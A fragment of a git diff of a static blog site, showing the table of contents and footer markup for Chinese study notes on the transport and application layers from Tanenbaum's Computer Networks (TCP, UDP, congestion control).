class="toc-text">防止拥塞</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%85%A2%E9%80%9F%E5%90%AF%E5%8A%A8%EF%BC%88slow-start%EF%BC%89"><span class="toc-number">4.9.8.</span> <span class="toc-text">慢速启动（slow start）</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%85%A2%E5%90%AF%E5%8A%A8%E9%98%88%E5%80%BC%EF%BC%88slow-start-threshold%EF%BC%89"><span class="toc-number">4.9.8.1.</span> <span class="toc-text">慢启动阈值（slow start threshold）</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%BF%AB%E9%80%9F%E9%87%8D%E4%BC%A0%EF%BC%88fast-retransmission%EF%BC%89"><span class="toc-number">4.9.9.</span> <span class="toc-text">快速重传（fast retransmission）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%BF%AB%E9%80%9F%E6%81%A2%E5%A4%8D%EF%BC%88fast-recovery%EF%BC%89"><span class="toc-number">4.9.10.</span> <span class="toc-text">快速恢复（fast recovery）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#TCP-%E6%8B%A5%E5%A1%9E%E6%8E%A7%E5%88%B6"><span class="toc-number">4.10.</span> <span class="toc-text">TCP 拥塞控制</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%87%B3%E4%BB%8A%E4%B8%BA%E6%AD%A2%E7%9A%84%E9%87%8D%E8%A6%81%E5%8F%98%E5%8C%96"><span class="toc-number">4.10.1.</span> <span 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+</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2018/06/22/Notes/Computer%20Networks/The-Transport-Layer/">https://jckling.github.io/2018/06/22/Notes/Computer Networks/The-Transport-Layer/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" target="_blank">Jckling's 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Layer"><img class="cover" src="https://i.loli.net/2021/06/14/z9KUc1FV7eaD8pi.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2018-06-13</div><div class="title">《计算机网络（英文版·第5版）》 The Physical Layer</div></div></a></div></div></div><hr class="custom-hr"/><div id="post-comment"><div class="comment-head"><div class="comment-headline"><i class="fas fa-comments fa-fw"></i><span> 评论</span></div></div><div class="comment-wrap"><div><div id="waline-wrap"></div></div></div></div></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div class="avatar-img"><img src="https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar.jpg" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar_404.png'" alt="avatar"/></div><div class="author-info__name">Jckling</div><div class="author-info__description"></div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">124</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/jckling"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">欢迎访问本站 🥳 <br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E4%BC%A0%E8%BE%93%E6%9C%8D%E5%8A%A1"><span class="toc-number">1.</span> <span class="toc-text">传输服务</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%8F%90%E4%BE%9B%E7%BB%99%E4%B8%8A%E5%B1%82%E7%9A%84%E6%9C%8D%E5%8A%A1"><span class="toc-number">1.1.</span> <span class="toc-text">提供给上层的服务</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BC%A0%E8%BE%93%E5%B1%82%E7%9A%84%E7%9B%AE%E6%A0%87"><span class="toc-number">1.1.1.</span> <span class="toc-text">传输层的目标</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BD%91%E7%BB%9C%E5%B1%82%E3%80%81%E4%BC%A0%E8%BE%93%E5%B1%82%E5%92%8C%E5%BA%94%E7%94%A8%E5%B1%82%E4%B9%8B%E9%97%B4%E7%9A%84%EF%BC%88%E9%80%BB%E8%BE%91%EF%BC%89%E5%85%B3%E7%B3%BB"><span class="toc-number">1.1.2.</span> <span class="toc-text">网络层、传输层和应用层之间的（逻辑）关系</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BC%A0%E8%BE%93%E5%B1%82%E4%B8%8E%E7%BD%91%E7%BB%9C%E5%B1%82"><span class="toc-number">1.1.3.</span> <span class="toc-text">传输层与网络层</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BC%A0%E8%BE%93%E6%9C%8D%E5%8A%A1%E5%8E%9F%E8%AF%AD"><span class="toc-number">1.2.</span> <span class="toc-text">传输服务原语</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BC%A0%E8%BE%93%E6%9C%8D%E5%8A%A1%E4%B8%8E%E7%BD%91%E7%BB%9C%E6%9C%8D%E5%8A%A1"><span class="toc-number">1.2.1.</span> <span class="toc-text">传输服务与网络服务</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%AE%80%E5%8D%95%E7%9A%84%E4%BC%A0%E8%BE%93%E6%9C%8D%E5%8A%A1%E5%8E%9F%E8%AF%AD"><span class="toc-number">1.2.2.</span> <span class="toc-text">简单的传输服务原语</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%AE%B5%EF%BC%88Segment-%E4%BC%A0%E8%BE%93%E5%8D%8F%E8%AE%AE%E6%95%B0%E6%8D%AE%E5%8D%95%E5%85%83TPDU%EF%BC%88Transport-Protocol-Data-Unit%EF%BC%89%EF%BC%89"><span class="toc-number">1.3.</span> <span class="toc-text">段（Segment, 传输协议数据单元TPDU（Transport Protocol Data Unit））</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BC%A0%E8%BE%93%E5%B1%82%E6%95%B0%E6%8D%AE%E4%BA%A4%E6%8D%A2%E7%9A%84%E5%A4%8D%E6%9D%82%E6%80%A7"><span class="toc-number">1.4.</span> <span class="toc-text">传输层数据交换的复杂性</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%8A%B6%E6%80%81%E5%9B%BE"><span class="toc-number">1.4.1.</span> <span class="toc-text">状态图</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Berkey-%E5%A5%97%E6%8E%A5%E5%AD%97"><span class="toc-number">1.5.</span> <span class="toc-text">Berkey 套接字</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E4%BC%A0%E8%BE%93%E5%8D%8F%E8%AE%AE%E7%9A%84%E8%A6%81%E7%B4%A0"><span class="toc-number">2.</span> <span class="toc-text">传输协议的要素</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BC%A0%E8%BE%93%E5%8D%8F%E8%AE%AE%E4%B8%8E%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%8D%8F%E8%AE%AE"><span class="toc-number">2.1.</span> <span class="toc-text">传输协议与数据链路协议</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AF%BB%E5%9D%80"><span class="toc-number">2.2.</span> <span class="toc-text">寻址</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#NSAP%E3%80%81TSAP-%E5%92%8C%E4%BC%A0%E8%BE%93%E8%BF%9E%E6%8E%A5%E7%9A%84%E5%85%B3%E7%B3%BB"><span class="toc-number">2.2.1.</span> <span class="toc-text">NSAP、TSAP 和传输连接的关系</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84-TSAP"><span class="toc-number">2.2.2.</span> <span class="toc-text">服务器的 TSAP</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%BF%9E%E6%8E%A5%E5%BB%BA%E7%AB%8B"><span class="toc-number">2.3.</span> <span class="toc-text">连接建立</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E5%8C%85%E7%9A%84%E9%87%8D%E5%A4%8D%E5%92%8C%E8%A2%AB%E5%BB%B6%E8%BF%9F"><span class="toc-number">2.3.1.</span> <span class="toc-text">数据包的重复和被延迟</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%B8%89%E6%AC%A1%E6%8F%A1%E6%89%8B"><span class="toc-number">2.3.2.</span> <span class="toc-text">三次握手</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%98%B2%E6%AD%A2%E5%BA%8F%E5%8F%B7%E5%9B%9E%E7%BB%95%EF%BC%88PAWS%EF%BC%89"><span class="toc-number">2.3.3.</span> <span class="toc-text">防止序号回绕（PAWS）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%BF%9E%E6%8E%A5%E9%87%8A%E6%94%BE"><span class="toc-number">2.4.</span> <span class="toc-text">连接释放</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%9D%9E%E5%AF%B9%E7%A7%B0%E9%87%8A%E6%94%BE%EF%BC%88Asymmetric%EF%BC%89"><span class="toc-number">2.4.1.</span> <span class="toc-text">非对称释放（Asymmetric）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%AF%B9%E7%A7%B0%E9%87%8A%E6%94%BE%EF%BC%88Symmetric%EF%BC%89"><span class="toc-number">2.4.2.</span> <span class="toc-text">对称释放（Symmetric）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%9B%9B%E7%A7%8D%E5%9C%BA%E6%99%AF"><span class="toc-number">2.4.3.</span> <span class="toc-text">四种场景</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8D%8A%E5%BC%80%E8%BF%9E%E6%8E%A5%EF%BC%88half-open%EF%BC%89"><span class="toc-number">2.4.4.</span> <span class="toc-text">半开连接（half-open）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#TCP-%E4%B8%AD%E7%9A%84%E9%87%8A%E6%94%BE%E8%BF%9E%E6%8E%A5"><span class="toc-number">2.4.5.</span> <span class="toc-text">TCP 中的释放连接</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%B7%AE%E9%94%99%E6%8E%A7%E5%88%B6%E5%92%8C%E6%B5%81%E9%87%8F%E6%8E%A7%E5%88%B6"><span class="toc-number">2.5.</span> <span class="toc-text">差错控制和流量控制</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82%E7%9A%84%E5%B7%AE%E9%94%99%E6%8E%A7%E5%88%B6%E5%92%8C%E6%B5%81%E9%87%8F%E6%8E%A7%E5%88%B6"><span class="toc-number">2.5.1.</span> <span class="toc-text">数据链路层的差错控制和流量控制</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%93%BE%E8%B7%AF%E5%B1%82%E5%92%8C%E4%BC%A0%E8%BE%93%E5%B1%82%E7%9A%84%E4%B8%8D%E5%90%8C"><span class="toc-number">2.5.2.</span> <span class="toc-text">链路层和传输层的不同</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BC%93%E5%86%B2%E5%8C%BA"><span class="toc-number">2.5.3.</span> <span class="toc-text">缓冲区</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8"><span class="toc-number">2.6.</span> <span class="toc-text">多路复用</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%B4%A9%E6%BA%83%E6%81%A2%E5%A4%8D"><span class="toc-number">2.7.</span> <span class="toc-text">崩溃恢复</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%AE%A2%E6%88%B7%E5%92%8C%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AD%96%E7%95%A5%E7%9A%84%E4%B8%8D%E5%90%8C%E7%BB%84%E5%90%88"><span class="toc-number">2.7.1.</span> <span class="toc-text">客户和服务器策略的不同组合</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%94%A8%E6%88%B7%E6%95%B0%E6%8D%AE%E6%8A%A5%E5%8D%8F%E8%AE%AE-UDP"><span class="toc-number">3.</span> <span class="toc-text">用户数据报协议 UDP</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%A6%82%E8%BF%B0"><span class="toc-number">3.1.</span> <span class="toc-text">概述</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#UDP-%E6%AE%B5%E7%9A%84%E5%A4%B4"><span class="toc-number">3.1.1.</span> <span class="toc-text">UDP 段的头</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#IP-%E4%BC%AA%E5%A4%B4"><span class="toc-number">3.1.2.</span> <span class="toc-text">IP 伪头</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%BA%94%E7%94%A8"><span class="toc-number">3.1.3.</span> <span class="toc-text">应用</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AE%9E%E6%97%B6%E6%B5%81%E5%8D%8F%E8%AE%AE%EF%BC%88RTSP%EF%BC%89"><span class="toc-number">3.2.</span> <span class="toc-text">实时流协议（RTSP）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%B5%81%E5%AA%92%E4%BD%93%E6%8A%80%E6%9C%AF%EF%BC%88Streaming-Technology%EF%BC%89"><span class="toc-number">3.2.1.</span> <span class="toc-text">流媒体技术（Streaming Technology）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%AA%92%E4%BD%93%E6%92%AD%E6%94%BE%E5%99%A8"><span class="toc-number">3.2.2.</span> <span class="toc-text">媒体播放器</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%8E%B7%E5%8F%96%E9%9F%B3%E9%A2%91%E5%92%8C%E8%A7%86%E9%A2%91"><span class="toc-number">3.2.3.</span> <span class="toc-text">获取音频和视频</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8D%8F%E8%AE%AE"><span class="toc-number">3.2.4.</span> <span class="toc-text">协议</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#RTSP"><span class="toc-number">3.2.4.1.</span> <span class="toc-text">RTSP</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#RTP"><span class="toc-number">3.2.4.2.</span> <span class="toc-text">RTP</span></a><ol class="toc-child"><li class="toc-item toc-level-5"><a class="toc-link" href="#RTCP"><span class="toc-number">3.2.4.2.1.</span> <span class="toc-text">RTCP</span></a></li></ol></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B8%A6%E6%9C%89%E7%BC%93%E5%86%B2%E5%92%8C%E6%8A%96%E5%8A%A8%E6%8E%A7%E5%88%B6%E7%9A%84%E6%92%AD%E6%94%BE"><span class="toc-number">3.2.5.</span> <span class="toc-text">带有缓冲和抖动控制的播放</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%86%E5%B1%82%E7%BB%93%E6%9E%84%E6%A6%82%E8%A7%88"><span class="toc-number">3.2.6.</span> <span class="toc-text">分层结构概览</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E4%BC%A0%E8%BE%93%E6%8E%A7%E5%88%B6%E5%8D%8F%E8%AE%AE-TCP"><span class="toc-number">4.</span> <span class="toc-text">传输控制协议 TCP</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%A6%82%E8%BF%B0-1"><span class="toc-number">4.1.</span> <span class="toc-text">概述</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9C%8D%E5%8A%A1%E6%A8%A1%E5%9E%8B"><span class="toc-number">4.2.</span> <span class="toc-text">服务模型</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%AF%BB%E5%9D%80-1"><span class="toc-number">4.2.1.</span> <span class="toc-text">寻址</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%9F%A5%E5%90%8D%E7%AB%AF%E5%8F%A3%EF%BC%88well-known-port%EF%BC%89"><span class="toc-number">4.2.2.</span> <span class="toc-text">知名端口（well-known port）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%9C%8D%E5%8A%A1%E5%AE%88%E6%8A%A4%E8%BF%9B%E7%A8%8B%EF%BC%88Service-Daemon%EF%BC%89"><span class="toc-number">4.2.3.</span> <span class="toc-text">服务守护进程（Service Daemon）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#TCP-%E8%BF%9E%E6%8E%A5"><span class="toc-number">4.2.4.</span> <span class="toc-text">TCP 连接</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%AD%97%E8%8A%82%E6%B5%81"><span class="toc-number">4.2.5.</span> <span class="toc-text">字节流</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BC%93%E5%86%B2"><span class="toc-number">4.2.6.</span> <span class="toc-text">缓冲</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#TCP-%E5%85%B3%E9%94%AE%E7%89%B9%E5%BE%81"><span class="toc-number">4.3.</span> <span class="toc-text">TCP 关键特征</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#TCP-%E6%AE%B5%E7%9A%84%E5%A4%B4"><span class="toc-number">4.3.1.</span> <span class="toc-text">TCP 段的头</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%BF%9E%E6%8E%A5%E5%BB%BA%E7%AB%8B-1"><span class="toc-number">4.4.</span> <span class="toc-text">连接建立</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#SYN-%E6%AE%B5%E4%B8%AD%E7%9A%84%E5%BA%8F%E5%8F%B7"><span class="toc-number">4.4.1.</span> <span class="toc-text">SYN 段中的序号</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%B8%89%E6%AC%A1%E6%8F%A1%E6%89%8B%E7%9A%84%E6%BC%8F%E6%B4%9E"><span class="toc-number">4.4.2.</span> <span class="toc-text">三次握手的漏洞</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%BF%9E%E6%8E%A5%E9%87%8A%E6%94%BE-1"><span class="toc-number">4.5.</span> <span class="toc-text">连接释放</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%81%BF%E5%85%8D%E4%B8%A4%E5%86%9B%E5%AF%B9%E5%9E%92-%E4%BD%BF%E7%94%A8%E8%AE%A1%E6%97%B6%E5%99%A8"><span class="toc-number">4.5.1.</span> <span class="toc-text">避免两军对垒 - 使用计时器</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%BF%9E%E6%8E%A5%E7%AE%A1%E7%90%86%E6%A8%A1%E5%9E%8B"><span class="toc-number">4.6.</span> <span class="toc-text">连接管理模型</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%BB%91%E5%8A%A8%E7%AA%97%E5%8F%A3"><span class="toc-number">4.7.</span> <span class="toc-text">滑动窗口</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%AA%97%E5%8F%A3%E7%AE%A1%E7%90%86%EF%BC%88window-management%EF%BC%89"><span class="toc-number">4.7.1.</span> <span class="toc-text">窗口管理（window management）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8D%8E%E5%B8%A6%EF%BC%88piggybacking%EF%BC%89"><span class="toc-number">4.7.2.</span> <span class="toc-text">捎带（piggybacking）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Nagle-%E7%AE%97%E6%B3%95%EF%BC%88Nagle%E2%80%99s-Algorithm%EF%BC%89-%E5%8F%91%E9%80%81%E7%AB%AF"><span class="toc-number">4.7.3.</span> <span class="toc-text">Nagle 算法（Nagle’s Algorithm）-发送端</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BD%8E%E8%83%BD%E7%AA%97%E5%8F%A3%E7%BB%BC%E5%90%88%E7%97%87%EF%BC%88silly-window-syndrome%EF%BC%89"><span class="toc-number">4.7.4.</span> <span class="toc-text">低能窗口综合症（silly window syndrome）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Clark-%E8%A7%A3%E5%86%B3%E5%8A%9E%E6%B3%95%EF%BC%88Clark%E2%80%99s-solution%EF%BC%89-%E6%8E%A5%E6%94%B6%E7%AB%AF"><span class="toc-number">4.7.5.</span> <span class="toc-text">Clark 解决办法（Clark’s solution）-接收端</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Nagle-%E7%AE%97%E6%B3%95%E5%92%8C-Clark-%E8%A7%A3%E5%86%B3%E5%8A%9E%E6%B3%95"><span class="toc-number">4.7.6.</span> <span class="toc-text">Nagle 算法和 Clark 解决办法</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%AE%A1%E6%97%B6%E5%99%A8%E7%AE%A1%E7%90%86"><span class="toc-number">4.8.</span> <span class="toc-text">计时器管理</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%87%8D%E4%BC%A0%E8%AE%A1%E6%97%B6%E5%99%A8%EF%BC%88RTO-Retransmission-TimeOut%EF%BC%89"><span class="toc-number">4.8.1.</span> <span class="toc-text">重传计时器（RTO, Retransmission TimeOut）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Jacobson-%E7%AE%97%E6%B3%95"><span class="toc-number">4.8.2.</span> <span class="toc-text">Jacobson 算法</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Karn-%E7%AE%97%E6%B3%95"><span class="toc-number">4.8.3.</span> <span class="toc-text">Karn 算法</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8C%81%E7%BB%AD%E8%AE%A1%E6%97%B6%E5%99%A8%EF%BC%88persistence-timer%EF%BC%89"><span class="toc-number">4.8.4.</span> <span class="toc-text">持续计时器（persistence timer）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BF%9D%E6%B4%BB%E8%AE%A1%E6%97%B6%E5%99%A8%EF%BC%88keepalive-timer%EF%BC%89"><span class="toc-number">4.8.5.</span> <span class="toc-text">保活计时器（keepalive timer）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%8B%A5%E5%A1%9E%E6%8E%A7%E5%88%B6"><span class="toc-number">4.9.</span> <span class="toc-text">拥塞控制</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8B%A5%E5%A1%9E%EF%BC%88congestion%EF%BC%89"><span class="toc-number">4.9.1.</span> <span class="toc-text">拥塞（congestion）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8B%A5%E5%A1%9E%E6%A3%80%E6%B5%8B%EF%BC%88congestion-dectection%EF%BC%89"><span class="toc-number">4.9.2.</span> <span class="toc-text">拥塞检测（congestion dectection）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8B%A5%E5%A1%9E%E6%8E%A7%E5%88%B6%E7%9A%84%E4%B8%A4%E7%A7%8D%E6%96%B9%E6%B3%95"><span class="toc-number">4.9.3.</span> <span class="toc-text">拥塞控制的两种方法</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8B%A5%E5%A1%9E%E7%AA%97%E5%8F%A3%EF%BC%88congestion-window%EF%BC%89"><span class="toc-number">4.9.4.</span> <span class="toc-text">拥塞窗口（congestion window）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#AIMD%EF%BC%88Additive-Increase-Multiplicative-Decrease-%E5%8A%A0%E6%B3%95%E9%80%92%E5%A2%9E%E4%B9%98%E6%B3%95%E9%80%92%E5%87%8F%EF%BC%89"><span class="toc-number">4.9.5.</span> <span class="toc-text">AIMD（Additive Increase Multiplicative Decrease, 加法递增乘法递减）</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E5%8A%A0%E6%B3%95%E9%80%92%E5%A2%9E"><span class="toc-number">4.9.5.1.</span> <span class="toc-text">加法递增</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E4%B9%98%E6%B3%95%E9%80%92%E5%87%8F"><span class="toc-number">4.9.5.2.</span> <span class="toc-text">乘法递减</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8B%A5%E5%A1%9E%E5%B4%A9%E6%BA%83%EF%BC%88congestion-collapse%EF%BC%89"><span class="toc-number">4.9.6.</span> <span class="toc-text">拥塞崩溃（congestion collapse）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%98%B2%E6%AD%A2%E6%8B%A5%E5%A1%9E"><span class="toc-number">4.9.7.</span> <span class="toc-text">防止拥塞</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%85%A2%E9%80%9F%E5%90%AF%E5%8A%A8%EF%BC%88slow-start%EF%BC%89"><span class="toc-number">4.9.8.</span> <span class="toc-text">慢速启动（slow start）</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%85%A2%E5%90%AF%E5%8A%A8%E9%98%88%E5%80%BC%EF%BC%88slow-start-threshold%EF%BC%89"><span class="toc-number">4.9.8.1.</span> <span class="toc-text">慢启动阈值（slow start threshold）</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%BF%AB%E9%80%9F%E9%87%8D%E4%BC%A0%EF%BC%88fast-retransmission%EF%BC%89"><span class="toc-number">4.9.9.</span> <span class="toc-text">快速重传（fast retransmission）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%BF%AB%E9%80%9F%E6%81%A2%E5%A4%8D%EF%BC%88fast-recovery%EF%BC%89"><span class="toc-number">4.9.10.</span> <span class="toc-text">快速恢复（fast recovery）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#TCP-%E6%8B%A5%E5%A1%9E%E6%8E%A7%E5%88%B6"><span class="toc-number">4.10.</span> <span class="toc-text">TCP 拥塞控制</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%87%B3%E4%BB%8A%E4%B8%BA%E6%AD%A2%E7%9A%84%E9%87%8D%E8%A6%81%E5%8F%98%E5%8C%96"><span class="toc-number">4.10.1.</span> <span class="toc-text">至今为止的重要变化</span></a></li></ol></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas 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diff --git a/2018/06/25/Notes/Computer Networks/The-Application-Layer/index.html b/2018/06/25/Notes/Computer Networks/The-Application-Layer/index.html
index f13e77f16..ed85fd9d6 100644
--- a/2018/06/25/Notes/Computer Networks/The-Application-Layer/index.html	
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@@ -681,7 +681,7 @@ <h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</
 <li>包含数据的（可选）实体主体（entity body）</li>
 </ul>
 <p>服务器的响应也由这三部分组成</p>
-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2018/06/25/Notes/Computer%20Networks/The-Application-Layer/">https://jckling.github.io/2018/06/25/Notes/Computer Networks/The-Application-Layer/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" 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fa-calendar-alt fa-fw"></i> 2018-06-13</div><div class="title">《计算机网络（英文版·第5版）》 The Introduction</div></div></a></div><div><a href="/2018/06/13/Notes/Computer%20Networks/The-Physical-Layer/" title="《计算机网络（英文版·第5版）》 The Physical Layer"><img class="cover" src="https://i.loli.net/2021/06/14/z9KUc1FV7eaD8pi.jpg" alt="cover"><div class="content is-center"><div 